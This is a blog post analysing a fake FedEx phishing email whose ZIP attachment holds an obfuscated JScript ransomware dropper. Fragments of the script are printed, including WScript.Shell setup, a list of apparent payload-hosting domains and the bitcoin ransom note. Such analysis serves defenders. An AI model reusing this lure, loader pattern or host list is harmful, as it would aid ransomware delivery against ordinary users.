The New Hotness

Got an email, nominally from one Richard Gilmore of FedEx, concerning a parcel sent as International Next Flight (whatever that is). The Subject line read “We could not deliver your parcel, #00000665103”, although the message didn’t quite match:

Dear Customer,

This is to confirm that one or more of your parcels has been shipped.
Delivery Label is attached to this email.

Kind regards,
Richard Gilmore,
Sr. Delivery Agent.

The email address had nothing to do with FedEx, of course, and my filters tagged it as spam.

The “label” came in a ZIP file: Label_00000665103.zip

Extracting the “label” produced what would look like an MS Word file, if you were so trusting as to hide extensions of “known” filetypes and didn’t worry when you saw a file still sporting a DOC extension: Label_00000665103.doc.wsf

Handing that to VirusTotal produces no surprise at all:

The file contains one very long line, the first chunk of which suggests it’s up to no good:

<job><script language=JScript>var a59253 = '+"HKCU"+cs'; var a59168 = '"); fp.WriteLine(" '; var a5988 = ';} else if('; var a59196 = 'gth;i'; var a59160 = 'fp.W'; var a59261 = 'ion"+c'; var a5999 = 's(f'; var a59254 = '+"SOFTWARE"+';

After a bit of poking, I applied a few minutes of sed reformatting, manual cleanup, and sorting:

sed 's/; var a/;\n/g' Label_00000665103.doc.wsf > lines.txt
... fix a few lines ...
sort -n lines.txt > sort.txt

Which produced a file starting out like this:

<job><script language=JScript>
590 = 'var id="TRIB9RMvAFl04U4Fi7L6RNk9ZowJ2sj_fIrO0WiXGlXd53j6oENCCFDZ9NbVubN-vvJltoR8Wf4_";d';
591 = '="1vcs62wsoYZNc4TdwqgsG5965bDt3mNYW"; var bc="0.52';
592 = '189"; var ld=0;';
593 = ' var cq';
594 = '=S';
595 = 'tri';
596 = 'ng.f';
597 = 'romCharCode(34);';
598 = ' var cs';
599 = '=Strin';
5910 = 'g.fromCh';
5911 = 'ar';
5912 = 'Code(92); var ll';
5913 = '=["32jelen.pl","v';
5914 = 'iktoriascho';
5915 = 'ol.ru","blende';
5916 = 'r.com.br';
5917 = '","pasargad1007.c';
5918 = 'om","www.unit';
5919 = 'ed-systems.it"';
5920 = ']; v';
5921 = 'ar ';
5922 = 'ws=WScript.Cre';
5923 = 'ateObject(';
5924 = '"WScript.Shell';
5925 = '"); v';
5926 = 'ar';
5927 = ' fn=ws';
5928 = '.Expa';
5929 = 'ndEnv';
5930 = 'ironme';
5931 = 'ntString';
... snippage ...

Even without pasting the fragments back together, you can puzzle out the punchline:

59108 = 't",true); fp.Write';
59109 = 'Line("ATTEN';
59110 = 'TION!"); fp.Wr';
59111 = 'ite';
59112 = 'Line(';
59113 = '""); fp.W';
59114 = 'riteLine("All';
59115 = ' your d';
59116 = 'ocuments, p';
59117 = 'hotos';
59118 = ', databases and ot';
59119 = 'her import';
59120 = 'ant ';
59121 = 'pers';
59122 = 'onal fil';
59123 = 'es"); fp.';
59124 = 'Wri';
59125 = 'te';
59126 = 'Line(';
59127 = '"were e';
59128 = 'ncrypted usi';
59129 = 'ng strong RSA-1024';
59130 = ' algorithm with ';
59131 = 'a uniqu';
59132 = 'e key."); fp.Write';
59133 = 'Line(';
59134 = '"To restor';
59135 = 'e your files you h';
59136 = 'ave to pay "+bc+" ';
59137 = 'BTC (bitcoin';
59138 = 's)."); fp.Wri';

Huh. CryptoLocker returns from the dead! Right now, 0.52 BTC = $316.15, so I guess I can drop that into the jar of money saved by running Linux.

If those emails didn’t work so well, they wouldn’t send them…